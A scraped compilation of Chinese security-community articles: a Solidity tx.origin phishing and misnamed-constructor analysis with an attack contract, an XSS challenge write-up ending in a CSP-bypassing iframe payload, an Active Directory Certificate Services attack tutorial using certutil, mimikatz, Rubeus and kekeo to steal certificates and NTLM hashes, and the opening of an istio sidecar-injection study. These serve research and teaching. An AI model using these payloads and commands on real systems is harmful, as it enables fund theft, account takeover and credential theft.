即`testCal`合约远程调用了`CpTest`合约，其`tx.orgin`的值为`testCal`合约的钱包地址。而`msg.sender`的地址为`testCal`合约部署的地址。
下面我们进行更复杂的测试。现在我们部署第三个合约，而此合约将调用第二个合约中的两个函数，并查看第三个合约中的相对应的`orgin与sender`的值。
pragma solidity ^0.4.20;
contract CpTest {
uint value;
function CpTest (uint number, uint p) {
value = number * p;
}
function getPower() view returns (uint) {
return value;
}
function getOrigin() view returns (address) {
return tx.origin;
}
function getSender() view returns (address) {
return msg.sender;
}
}
contract testCal {
CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
function getOrigin() view returns (address) {
return test.getOrigin();
}
function getSender() view returns (address) {
return test.getSender();
}
}
contract testCal3 {
testCal test = testCal(0x0fdf4894a3b7c5a101686829063be52ad45bcfb7);
function getOrigin() view returns (address) {
return test.getOrigin();
}
function getSender() view returns (address) {
return test.getSender();
}
}
`testCal3`合约的地址为：`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`。
我们运行函数得到：
即第三个函数的`origin`地址为自己的钱包地址。而`sender`的地址为第二个合约（`testCal`）的部署地址。
所以我们可以大胆的分析：我们的`tx.origin`为所最起始调用者的地址（A-->B-->C则为A的地址），然而我们`msg.sender`为最终函数的前一个调用合约地址（A-->B-->C中，由于函数在C中，所以sender为B的合约地址）。
这也相对应的存在了许多安全隐患，我们在下面进行分析。
### 三、漏洞分析
#### 1 tx.origin漏洞分析
`tx.origin`是Solidity 中的一个全局变量
，它遍历整个调用栈并返回最初发送调用（或交易）的帐户的地址。然而在智能合约中使用此变量时，我们通常会看到它被用于身份验证。这也就存在了很严重的漏洞问题，所以我们针对这个问题来进行相关的安全分析。
此类合约容易受到类似网络钓鱼的攻击。
下面我们来看一段钓鱼代码：
我们假设场景：现在有用户A与攻击者C两个身份。在A用户的地址下，我们部署了：
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
我们具体来看这个代码，这里存在一个转账函数，而转账是将`A用户中的余额转给_recipient对应的地址`。然而在转账前我们需要进行一个初始判断：`require(tx.origin
== owner)`，即我们合约的拥有者必须==`tx.origin`。
下面我们再来看攻击者合约：
contract AttackContract {
Phishable phishableContract;
address attacker; // The attackers address to receive funds.
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () {
phishableContract.withdrawAll(attacker);
}
}
在这个攻击合约中，我们看到它在构造函数中new了`Phishable`对象，
然后传入了攻击者地址。之后又定义了`fallback`函数，而在函数中调用了`phishableContract`对象的`withdrawAll
()`函数。
之后我们来分析下攻击是如何产生的。
根据我们前面写过的文章，我们知道`fallback`函数会在转账的时候被默认调用，所以这个地方就存在了很多隐患。
我们假设一个场景，倘若攻击者通过各种方法（包括诈骗、诱导等）使用户A向攻击者进行一些转账操作，那么他就会默认的调用`phishableContract.withdrawAll(attacker);`函数。而对于此函数我们具体来看：
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
在这个函数中，攻击者将_recipient参数赋值为自己的地址，也就为了用户能够将钱转给攻击者做准备。之后我们来看，倘若此时攻击者绕过了require的限制，那么ta就有可能把用户的钱全部转走。那么攻击者是否能绕过呢？答案是肯定的。
简单来说，此时 **User --调用-- >Attack的回调函数--调用-->User的withdraw函数**，而呈现出来的`tx.origin`是==合约创世人owner的。
我们做一个简单的实验：
合约内容
pragma solidity ^0.4.18;
contract UserWallet {
address public owner;
address public owner1;
function setOwner() public returns(address){
// owner = msg.sender;
return msg.sender;
}
function setOwner1() public returns(address){
// owner1 = tx.origin;
return tx.origin;
}
}
contract abc {
UserWallet test = UserWallet(0x9dd1e8169e76a9226b07ab9f85cc20a5e1ed44dd);
function a() public returns (address){
return test.setOwner1();
}
}
contract def {
abc test = abc(0xdd1f635dfb144068f91d430c76f4219088af9e64);
function b() public returns (address){
return test.a();
}
}
首先在`0xca35b7d915458ef540ade6068dfe2f44e8fa733c`中部署
之后，我们在`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`部署
最后我们在`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`部署：
根据我们的代码，我们测试tx.orgin所代表的内容。
首先是合约`UserWallet`：
下面是合约`abc`：
然而我们这里最重要的函数是：合约`def`。
我们要通过合约`def`来远程调用abc：
对应这里为：
在部署合约`def`的地址下调用合约`abc`中的`b()`函数。
得到实际的地址为：
地址详情
1:0xca35b7d915458ef540ade6068dfe2f44e8fa733c
2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
3:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
这样就绕过了用户函数中的`origin`条件，所以可以进行钓鱼：
倘若用户给调用合约转账，则调用了`fallback`函数。之后`User -> Attack -> User`。即意味着钓鱼合约把用户的钱取走了。
#### 2 构造函数安全分析
构造函数（Constructors）是特殊函数，在初始化合约时经常执行关键的权限任务。在 solidity v0.4.22
以前，构造函数被定义为与所在合约同名的函数。因此，如果合约名称在开发过程中发生变化，而构造函数名称没有更改，它将变成正常的可调用函数。
其实这种漏洞的原理并不复杂，但是带来的危害却是巨大的。
下面我们看一道ctf的题目：
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
我们看到题目的要求如下：`Claim ownership of the contract below to complete this
level.`让我们成为合约的owner。而我们仔细的查看后发现合约中只有构造函数可以让自己成为owner。然而我们无法手动调用构造函数，所以题目就陷入了僵局。不过在我们仔细的查看后发现：
`Fallout`与构造函数`Fal1out`是不同的。即题目中给的函数并不是构造函数，只是看起来相似而已。
所以我们直接调用改函数即可更改合约`owner`。
在真实的环境中同样有这样的情况产生：
ubixi（[合约代码](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code)）是另一个显现出这种漏洞的传销方案。合约中的构造函数一开始叫做
`DynamicPyramid` ，但合约名称在部署之前已改为 `Rubixi` 。构造函数的名字没有改变，因此任何用户都可以成为 `creator`
contract Rubixi {
//Declare variables for storage critical to contract
uint private balance = 0;
uint private collectedFees = 0;
uint private feePercent = 10;
uint private pyramidMultiplier = 300;
uint private payoutOrder = 0;
address private creator;
//Sets creator
function DynamicPyramid() {
creator = msg.sender;
}
modifier onlyowner {
if (msg.sender == creator) _
}
struct Participant {
address etherAddress;
uint payout;
}
········
}
### 四、参考资料
* <https://www.jianshu.com/p/61e2d9e31aab>
* <https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code>
* <https://vessenes.com/ethereum-contracts-are-going-to-be-candy-for-hackers/>
* <https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
### 前言
国外的一个xss challenge(规定时间内做出可得一年的Burp Suite正版证书)
### 题目分析
主要的功能逻辑代码为script.js, 如下：
var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
代码逻辑为：
通过触发location.hash的变化来调用displayReason函数，通过ajax请求得到./reasons/${reason}.txt，然后把response的内容返回给id为reason的标签。
首先测试了下直接在URL的锚部分写上xss语句
这里可以看到这个404的页面，在response时不仅对特殊字符进行了编码处理，而且还会将%替换为_，所以直接通过xss语句触发是没戏了。
接下来尝试了一下.htaccess等403页面的触发，看下对应的response内容有没有经过处理
可以看到，在403的response中我们的xss语句是完整存在的，那么接下来只需要把这个xss带到我们之前的页面就可以触发xss了
进行尝试
这里需要注意两个地方
* 第一个是默认ajax去请求是下reasons文件夹下，我们如果要请求.htaccess是需要向上跳一级目录的
* 第二个是我们需要拿到的是访问htaccess得到的response，所以htaccess的参数需要进行二次编码
最终访问效果如下：
可以看到img标签成功被解析。
不过此时仍然没法弹窗，因为这个challenge是有csp进行限制的,csp规则如下：
default-src 'self';
限制了资源必须来自此站点
那么接下来就开始寻找一些可以当成js来执行的地方，我们可以通过之前的404页面返回的内容来当作我们的js语句，并且通过script标签的src属性进行引入，唯一需要注意的是要进行单引号的闭合
构造语句如下：
[
在控制台执行一下
成功触发，接下来把这个返回内容作为外部js引入就可以了
不过不能直接在response里面直接返回script标签，因为这里的赋值是
reason.innerHTML = unescape(this.responseText);
通过innterHTML产生的script标签并不可以执行
所以这里可以用iframe的srcdoc属性去解决这个问题，payload如下：
<iframe/srcdoc='<script src="x%27-alert(document.domain)-%27"></script>'>
将上面的payload二次编码后，放进location.hash
成功触发xss | 社区文章 |
# Active Directory 证书服务(一)
## 0x00 前言
specterops发布了一篇关于Active Directory 证书服务相关漏洞的白皮书
<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf，关于Active>
Directory 证书服务的攻击第一次系统的进入我们的视野。
我在白皮书的基础上学习了Active Directory 证书服务相关的漏洞，作为学习成果，用两篇文章来介绍Active Directory
证书服务相关的基础以及相关的漏洞利用。截止这篇文章发布为止，有些漏洞利用相关的工具并没有发布出来，在文章里面我会用其他的方式来演示。
白皮书里面，最核心的点在于证书服务发布的部分证书可用于kerberos认证，并且在返回的PAC里面能拿到NTLM hash。这就是可以做很多事了，比如
1、拿到用户的凭据，能不能用用户的凭据来申请一个证书，这个证书用于kerberos认证，后面就算用户的密码改了，只要证书在手，就能用证书随时拿回NTLM。
2、能不能在用户的电脑上找到证书，以后拿着这个证书去做认证。
3、什么样的证书能用于kerberos认证。
4、拿到CA服务器证书之后，能不能给任何用户颁发证书，再用这个证书做认证，跟黄金票据一样。
5、CA服务器上有没有一些配置，能让一个用户申请别人的证书，然后拿到这个证书做认证。
6、CA证书申请有个界面是http的，http默认不开签名，我们能不能通过Ntlm_Relay将请求relay到这里，申请用以进行kerberos认证的证书。
关于这些，都会在这两篇文章里面讨论。在写完之后，由于内容过长，我将文章拆分为两篇，第一篇是介绍一些基础部分，以及三个相关的利用
1、窃取证书
2、通过凭据申请可用以Kerberos认证的证书
3、通过证书窃取用户凭据
在第二篇主要介绍一些其他的利用，包括
1、证书服务中的Ntlm_Relay
2、证书模板配置错误
3、黄金证书
3、PKI 设计缺陷
4、防御指南
整体的思路如下图
## 0x01 Active Directory 证书服务安装
在开始讲解证书服务之前，我们先装个证书服务，方便起见，直接在域控上安装就行。
下一步下一步比较简单。
## 0x02 Active Directory 证书服务概述
### 0x0201 企业 PKI
PKI是一个术语，有些地方会采用中文的表述——公钥基本结构，用来实现证书的产生、管理、存储、分发和撤销等功能。我们可以把他理解成是一套解决方案，这套解决方案里面需要有证书颁发机构，有证书发布，证书撤掉等功能。
微软的Active Directory 证书服务(我们可以简称AD
CS)就是对这套解决方案的实现。ADCS能够跟现有的ADDS服务进行结合，可以用以加密文件系统，数字签名，以及身份验证。下面详细介绍下AD
CS中比较重要的的证书颁发机构以及证书模板。
### 0x0202 证书颁发机构
证书颁发机构 (CA) 接受证书申请，根据 CA 的策略验证申请者的信息，然后使用其私钥将其数字签名应用于证书。然后 CA
将证书颁发给证书的使用者。此外，CA 还负责吊销证书和发布证书吊销列表 (CRL)。
ADCS里面的CA分为企业CA和独立CA，最主要的区别在于企业CA与ADDS服务结合，他的信息存储在ADDS数据库里面(就是LDAP上)。企业CA也支持基于证书模板和自动注册证书，这也是我们比较关心的东西，如果没有特指，文章里面提到的CA默认就是企业CA。
举个例子，我们有个有个域名`daiker.com`，如果要做https，我们就需要找证书颁发机构申请证书，比如说沃通CA。
我们也可以自己搭建一个证书颁发机构。
但是使用自建的证书发布服务之后,浏览器还是不信任我们证书，我们经常可以看到
自行签名的根证书。之所以出现这个是因为电脑本身并不相信我们的CA证书。以下证书是windows内置的CA证书。如果我们能够把我们的CA证书放在这个列表里面，我们的证书就能得到信任。
对于企业来说，如果使用ADCS服务，想让员工的计算机信任我们企业自己的CA证书，有以下几种方式
1、安装企业根CA时，它使用组策略将其证书传播到域中所有用户和计算机的“受信任的根证书颁发机构”证书存储
2、如果计算机不在域内，可以手动导入CA证书
另外AD CS支持可缩放的分层 CA 模型，在此模型中，子从属 CA 由其父 CA 颁发的证书认证。层次结构顶部的 CA 称为根 CA。根 CA 的子 CA
称为从属 CA。
以上图为例子，每个企业仅有一个根CA，他由自己颁发，在大多数组织中，它们只用于颁发从属
CA，不直接颁发证书。而具体的证书由从属CA颁发，比如网站的证书，LDAPS的证书，这样做方便管理，在机器比较多的域内还能起到负载均衡的作用。当然，AD
CS支持分层的CA模型不代表一定要分层，对于比较小的公司，一般都只有一个根CA，所有的证书由这个根CA进行颁发。
### 0x0203 证书模板
证书模板是证书策略的重要元素，是用于证书注册、使用和管理的一组规则和格式。这些规则是指谁可以注册证书。证书的主题名是什么。比如要注册一个web证书，那可以在`Web服务器`这个默认的证书模板里面定义谁可以注册证书，证书的有效时间是多久，证书用于干啥，证书的主题名是什么，是由申请者提交，还是由证书模板指定。
我们可以使用`certtmpl.msc`打开证书模板控制台
这些都是系统默认的证书模板。
如果需要发布一个新的模板的话，可以右键复制模板，然后自己定义这些规则。
我们关心以下规则
* **常规设置：** 交付证书的有效期，默认是一年
* **请求处理：** 证书的目的和导出私钥的能力(虽然设置了证书不可被导出，但是mimikatz依旧能导出，我们后面会详细说)
* **加密：** 要使用的加密服务提供程序 (CSP) 和最小密钥大小
* **Subject name** ，它指示如何构建证书的专有名称：来自请求中用户提供的值，或来自请求证书的域主体的身份。这个需要注意的是，默认勾选了`在使用者名称中说那个电子邮件名`，当用户去申请的时候，如果用户的LDAP属性没有mail就会申请失败。
* **颁发要求** ：CA证书经理程序批准
这个值得注意，就算用户有注册权限(在ACL里面体现)，但是证书模板勾选了这个，也得得到证书管理的批准才能申请证书，如果没有勾选这个，那有权限就可以直接申请证书了。
* **安全描述符** ：证书模板的 ACL，包括具有注册到模板所需的扩展权限的主体的身份。关于这个的内容看证书注册那节的证书注册权限里面。
* **扩展：** 要包含在证书中的 X509v3 扩展列表及其重要性（包括`KeyUsage`和`ExtendedKeyUsages`）
这里我们要特别注意的是扩展权限里面的应用程序模板，
这个扩展决定了这个模板的用途，比如说文档加密，文档签名，智能卡登陆等等。
经过测试与研究，spectorops的工程师发现包含以下扩展的证书可以使用证书进行kerberos认证。
1、客户端认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA
其中PKINIT不是默认存在的，需要我们手动创建，点击新建，名称自定义，对象标识符为`1.3.6.1.5.2.3.4`
## 0x03 证书注册
### 0x00301 证书注册流程
1、客户端生成一个证书申请文件，这一步可以使用openssl生成,比如
openssl req -new -SHA256 -newkey rsa:4096 -nodes -keyout www.netstarsec.com.key -out www.netstarsec.com.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=netstarsec/OU=sec/CN=www.netstarsec.com"
或者直接找个在线的网站<https://myssl.com/csr_create.html生成>
2、客户端把证书申请文件发送给CA，然后选择一个证书模板。
这一步可以申请的方式比较多，上面这种是通过访问证书注册界面进行注册的。ADCS请求注册证书的方式在下一小节具体说明。
3、CA证书会判断模板是否存在，根据模板的信息判断请求的用户是否有权限申请证书。证书模板会决定证书的主题名是什么，证书的有效时间是多久，证书用于干啥。是不是需要证书管理员批准。
4、CA会使用自己的私钥来签署证书。签署完的证书可以在颁发列表里面看到。
### 0x00302 证书注册接口
1、访问证书注册网页界面
要使用此功能，ADCS 服务器需要安装证书颁发机构 Web 注册角色。我们可以在添加角色和功能向导>AD证书颁发机构Web注册服务里面开启。
开启完就访问<https://CA/certsrv> 访问证书注册网页界面
2、域内机器可以通过启动 certmgr.msc (用于用户证书)或 certlm.msc (用于计算机证书)来使用 GUI 请求证书
3、域内机器可以通过命令行`certreq.exe`和Powershell`Get-Certificate`来申请证书
4、使用`MS-WCCE`,`MS-ICPR`这俩RPC，具体交互流程得去看文档
5、使用CES，需要安装证书注册WEB服务，soap的格式，具体的交互流程得看`MS-WS-TEP`和`MS-XCEP`
6、使用网络设备注册服务，得安装网络设备注册服务
### 0x0303 证书注册权限
知道了证书注册的流程，注册的接口，接下来我们关注的就是证书注册的权限。跟证书注册相关的权限主要有两块，一块体现在CA证书上，一块体现在证书模板上。
我们可以运行`certsrv.msc`之后右键证书颁发机构，右键属性，安全查看权限。
对于CA证书的权限，我们比较关注的是请求证书的权限。默认情况下，所有认证用户都有请求权限。如果有请求的权限，CA就去判断请求的模板是否存在，如果存在，就交给证书模板去管理权限。
证书模板的权限，可以运行`certtmpl.msc`之后选择特定的证书模板，右键属性，安全查看权限
我们比较关注以下权限
* 注册权限(Enroll)
拥有这个权限的用户拥有注册权限
* 自动注册的权限(AutoEnrollment)
在配置证书自动注册的时候需要证书模板开启这个权限，关于证书自动注册的更多细节，在下一小节会详细说明。
* AllExtendedRights/Full Control
AllExtendedRights 包括所有的扩展权限，就包括了注册权限和自动注册权限。
Full Control包括所有权限，也包括有的扩展权限
我们关心完CA的权限以及证书模板的权限之外，还得注意一个配置`CA证书管理程序批准`
如果证书模板没有勾选这个，那么有ca的证书请求权限，证书模板的注册权限，就可以申请下证书。但是如果勾选了这个选项，那么就算有注册权限，那也得得到证书管理员的批准才能注册证书。
### 0x0304 证书自动化注册
相较于注册，自动化注册顾名思义就是自动化，不需要用户手动注册。有些软件需要用户证书去访问，让每个用户自己手动申请证书又不太现实，这个时候自动化注册证书的优势就体现出来了。
接下来演示下怎么配置证书自动化注册。
1、配置一个证书模板
选择一个已有的模板，右键复制模板
名字改成用户自动化注册
去掉以下两个勾，因为有些用户可能没有配置邮箱，自动化申请证书的时候就会失败。
给这个证书模板赋予任何`Domain Users`有注册和自动化注册的权限
然后下发一个组策略
新建一个组策略，命名为`自动注册证书`
然后打开用户配置>策略>安全设置>公钥策略,配置下图圈出来的三个
然后等组策略生效，域内的每个用户登录的时候都会自动申请一个证书，不用人为申请证书。
## 0x04 Active Directory 证书服务在LDAP中的体现
ADCS的信息同样也存储在LDAP上，我们可以在配置分区底下的Service底下的`Public Key Services`看到证书相关的信息
，比如在我们的环境就位于`CN=Public Key
Services,CN=Services,CN=Configuration,DC=test16,DC=local`。
每一块的对象的用途都不一样，接下来我们详细介绍我们比较关注的几个对象
* _Certification Authorities_
这个对象是证书颁发机构，定义了受信任的根证书。
每个 CA 都表示为容器内的一个 AD 对象,objectClass为`certificationAuthority`。
CA证书的内容以二进制的内容放在cACertificate底下。
* Enrollment Services
这个对象定义了每个企业 CA。
每个企业CA 都表示为容器内的一个 AD 对象,objectClass为`pKIEnrollmentService`
CA证书的内容以二进制的内容放在cACertificate底下。dNSHostName定义了CA的DNS主机
* certificateTemplates
这个对象定义了所有证书模板
* NTAuthCertificates
此条目用于存储有资格颁发智能卡登录证书并在 CA 数据库中执行客户端私钥存档的 CA
的证书。关于智能卡，后面会单独写一篇文章详细阐述智能卡，在这篇文章里面，默认提及的证书都是软件层面的，不涉及到硬件的。
* CDP
这个容器存储了被吊销的证书列表
## 0x05 窃取证书
在我们控的计算机上可能会存在一些证书，这些证书有可能是用客户端身份验证，有可能是CA证书，用以信任其他证书的。我们可以将这些证书导出来，这里我们分为两种情况导出来。
### 0x0501 从系统存储导出证书
这种情况我们使用windows自带的命令`certutil`来导出
`certutil`默认查看的是计算机证书，可以通过指定`-user`参数来查看用户证书
(图形化查看用户证书是命令是`certmgr.msc`，图形化查看计算机证书的命令是`certlm.msc`)
`certutil`还可以通过`-store`来查看存储分区，参数有`CA`,`root`,`My`分别对应`中间证书机构`,`个人证书`,`受信任的根证书颁发机构`。
有些证书在导入的时候需要密码或者勾选证书不可导出
这个时候就需要使用mimikatz来导出证书了。下面我们举两个导出的案例。
1、导出用户证书
打开`certmgr.msc`
如果我们想查看个人证书可以用
`certutil -user -store My`
找到我们想导出的证书的hash
如果仅仅是只是导出证书，不导出私钥
`certutil -user -store My f95e6b5dbafac54963c450052848745a54ec7bd9
c:\Users\test1\Desktop]test1.cer`
如果要导出证书包含私钥
`certutil -user -exportPFX f95e6b5dbafac54963c450052848745a54ec7bd9
c:\Users\test1\Desktop]test1.pfx`
这一步如果我们需要输入一个密码，这个密码是待会儿这个导出的证书 导入到咱们的电脑的时候要用的
2、查看计算机证书
打开`certlm.msc`
如果我们想查看计算机证书可以用
`certutil -store My`
找到我们想导出的证书的hash
`certutil -store My 888d67d9ef30adc94adf3336462b96b5add84af4
c:\Users\test1\Desktop\win10.cer`
在我们要导出pfx文件的时候
这种是勾选了证书不允许被导出的，certutil就导出不了，回过去看我们刚刚查看证书的hash的时候
就可以看到，里面标志着私钥不能被导出，这个时候我们就需要用到mimikatz了,mimikatz的`crypto::certificates`默认也是不支持导出`私钥不能被导出`类型的证书的私钥】
这个时候可以使用`crypto::capi`修改lsass
然后就可以导出了
### 0x0502 从文件系统搜索证书
我们经常可以在邮件，磁盘里面看到证书，我们一般按照后缀来搜索证书的，我们一般关注以下后缀
1、key后缀的，只包含私钥
2、crt/cer 后缀的，只包含公钥
3、csr后缀的，证书申请文件，不包含公钥，也不包含私钥。没啥用
4、pfx,pem,p12后缀的，包含公私钥，我们最喜欢的。
搜索文件后缀的每个人使用的工具不一样，我个人比较喜欢的是`SharpSearch`，.Net的项目，支持内存加载，可以写成CNA插件。
## 0x06 通过用户凭据申请可用于kerberos认证的证书
在所有默认的证书模板里面，我们最关注的模板默认有用户模板和计算机模板。
前面我们说过，使用认证进行kerberos认证的需要扩展权限里面包含以下其中一个
1、客户端身份认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA
如果用户如果想要注册证书，需要经过两个权限的检验。
1、在CA上具有请求证书的权限，这个默认所有认证的用户都有请求证书的权限。
2、在模板上具有注册证书的权限。
用户/计算机模板，他刚好满足这些条件。
1、他们的扩展属性都有客户端身份认证
2、用户证书默认所有的域用户都有注册权限
3、计算机默认所有的域内计算机都有注册权限
4、用户/计算机模板不需要企业管理员批准
这两个默认的证书模板，让我们不需要有域管的凭据，只需要一个域内用户的凭据，就可以注册证书，这个证书还可用于进行kerberos认证。因此我们这里注册的时候选择的模板是用户/计算机模板(具体哪个模板看我们拥有的凭据是用户还是计算机)。
当我们拿到用户的凭据，想使用这个凭据去申请用户证书，我们可以
1、访问证书注册网页界面
这个咱们之前说过，需要安装证书颁发机构 Web
注册角色。我们可以尝试访问下，访问的路径是`https://CA/certsrv`，会弹401认证，我们输入用户的凭据就行。
这个浏览器建议用IE
2、使用`certmgr.msc`申请
如果我们在域内，直接打开`certmgr.msc`申请就行
## 0x07 通过证书窃取用户凭据
### 0x0701 请求kerberos证书
在传统的kerberos认证的时候，是使用用户密码进行认证的。回顾下申请TGT的过程。
用用户hash加密时间戳作为value，type为PA-ENC-TIMESTAMP，
放在PA_DATA上。KDC收到请求，使用用户hash解密value的值得到时间戳跟当前时间做比对，如果在合理的范围(正常五分钟)，就认证通过。
事实上也可以使用证书作为认证，这也是这次spectorops关于ADCS研究的最大亮点，后面漏洞紧紧围绕这点。
RFC4556引入了对 Kerberos 预身份验证的公钥加密支持。这个RFC 的title是`Public Key Cryptography for
Initial Authentication in Kerberos`，后面我们使用简称PKINIT来介绍使用证书进行kerberos身份认证这种方法。
PKINIT同样也使用时间戳，但不是使用用户密码派生密钥加密消息，而是使用属于证书的私钥对消息进行签名。
我们可以使用rubeus 进行验证。
我们首先为用户Administrator注册一个证书，使用`certmgr.msc`进行注册
然后导出来，记得跟私钥一起导出来
接下来我们拿着这个证书去请求kerberos认证
Rubeus4.0.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:test16.local /dc:dc-05.test16.local
### 0x0703 请求NTLM 凭据
在微软的文档<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/4e5fb325-eabc-4fac-a0da-af2b6b4430cb里面有一段话>
也就是当使用证书进行kerberos认证的时候，返回的票据的PAC包里面还有NTLM票据。
这个东西Benjamin(mimikatz,kekeo作者)在17年已经研究并进行武器化
详情见<https://twitter.com/gentilkiwi/status/826932815518371841>
下面我们用一个案例来说明。
当我们控制了一台主机，里面有个用户的证书
我们使用`certutil`来导出证书(如果导出不了的话，就用mimikatz来导出证书)
然后把pfx文件拷贝到我们自己的计算机，双击导入，输入刚刚我们输的密码。
我们本地的计算机做个代理进内网，并且把dns也代理进去(dns设置为内网的域控)
使用kekeo获取用户的NTLM
我们再做个测试，把用户的密码改了
这个时候用之前获取的证书继续发起请求，还是能获取到NTLM Hash。
## 0x08 引用
* <https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>
* [**https://forsenergy.com/zh-cn/certsvr/html/c8955f83-fed9-4a18-80ea-31e865435f73.htm**](https://forsenergy.com/zh-cn/certsvr/html/c8955f83-fed9-4a18-80ea-31e865435f73.htm)
* [**https://docs.microsoft.com/zh-cn/learn/modules/implement-manage-active-directory-certificate-services/**](https://docs.microsoft.com/zh-cn/learn/modules/implement-manage-active-directory-certificate-services/)
* [**https://forsenergy.com/zh-cn/certtmpl/html/85e1436e-4c52-489a-93a2-6603f1abadf7.htm**](https://forsenergy.com/zh-cn/certtmpl/html/85e1436e-4c52-489a-93a2-6603f1abadf7.htm)
* [**https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/**](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
```` | 社区文章 |
**作者：lazydog
原文链接：<http://noahblog.360.cn/abuse-gateway-api-attack-kubernetes/>**
## 前言
前几天注意到了 istio 官方公告，有一个利用 kubernetes gateway api 仅有 `CREATE`
权限来完成特权提升的漏洞(CVE-2022-21701)，看公告、diff patch
也没看出什么名堂来，跟着自己感觉猜测了一下利用方法，实际跟下来发现涉及到了 sidecar 注入原理及 depolyments
传递注解的特性，个人觉得还是比较有趣的所以记录一下，不过有个插曲，复现后发现这条利用链可以在已经修复的版本上利用，于是和 istio security
团队进行了“友好”的沟通，最终发现小丑竟是我自己，自己yy的利用只是官方文档一笔带过的一个 feature。
~~所以通篇权当一个 controller 的攻击面，还有一些好玩的特性科普文看好了~~
## istio sidecar injection
istio 可以通过用 namespace 打 label 的方法，自动给对应的 namespace 中运行的 pod 注入 sidecar
容器，而另一种方法则是在 pod 的 annotations 中手动的增加 `sidecar.istio.io/inject: "true"`
注解，当然还可以借助 `istioctl kube-inject` 对 yaml 手动进行注入，前两个功能都要归功于 kubernetes
动态准入控制的设计，它允许用户在不同的阶段对提交上来的资源进行修改和审查。
动态准入控制流程:
istiod 创建了 MutatingWebhook，并且一般对 namespace label 为 `istio-injection: enabled`
及 `sidecar.istio.io/inject != flase` 的 pod 资源创建请求做 Mutaing webhook.
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: istio-sidecar-injector
webhooks:
[...]
namespaceSelector:
matchExpressions:
- key: istio-injection
operator: In
values:
- enabled
objectSelector:
matchExpressions:
- key: sidecar.istio.io/inject
operator: NotIn
values:
- "false"
[...]
rules:
- apiGroups:
- ""
apiVersions:
- v1
operations:
- CREATE
resources:
- pods
scope: '*'
sideEffects: None
timeoutSeconds: 10
当我们提交一个创建符合规定的 pod 资源的操作时，istiod webhook 将会收到来自 k8s 动态准入控制器的请求，请求包含了
AdmissionReview 的资源，istiod 会对其中的 pod 资源的注解进行解析，在注入 sidecar 之前会使用
`injectRequired` (pkg/kube/inject/inject.go:169)函数对 pod 是否符合非 `hostNetwork`
、是否在默认忽略的 namespace 列表中还有是否在 annotation/label 中带有 `sidecar.istio.io/inject`
注解，如果 `sidecar.istio.io/inject` 为 `true` 则注入 sidecar，另外一提 namepsace label
也能注入是因为 InjectionPolicy 默认为 Enabled
了解完上面的条件后，接着分析注入 sidecar 具体操作的代码，具体实现位于 `RunTemplate`
(pkg/kube/inject/inject.go:283)函数，前面的一些操作是合并 config 、做一些检查确保注解的规范及精简 pod
struct，注意力放到位于`templatePod` 后的代码，利用 `selectTemplates` 函数提取出需要渲染的 templateNames
再经过 `parseTemplate` 进行渲染，详细的函数代码请看下方
获取注解 `inject.istio.io/templates` 中的值作为 templateName ， `params.pod.Annotations`
数据类型是 `map[string]string` ，一般常见值为 sidecar 或者 gateway
func selectTemplates(params InjectionParameters) []string {
// annotation.InjectTemplates.Name = inject.istio.io/templates
if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
names := []string{}
for _, tmplName := range strings.Split(a, ",") {
name := strings.TrimSpace(tmplName)
names = append(names, name)
}
return resolveAliases(params, names)
}
return resolveAliases(params, params.defaultTemplate)
}
使用 go template 模块来完成 yaml 文件的渲染
func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
var tmpl bytes.Buffer
temp := template.New("inject")
t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
if err != nil {
log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
if err := t.Execute(&tmpl, &data); err != nil {
log.Infof("Invalid template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
return tmpl, nil
}
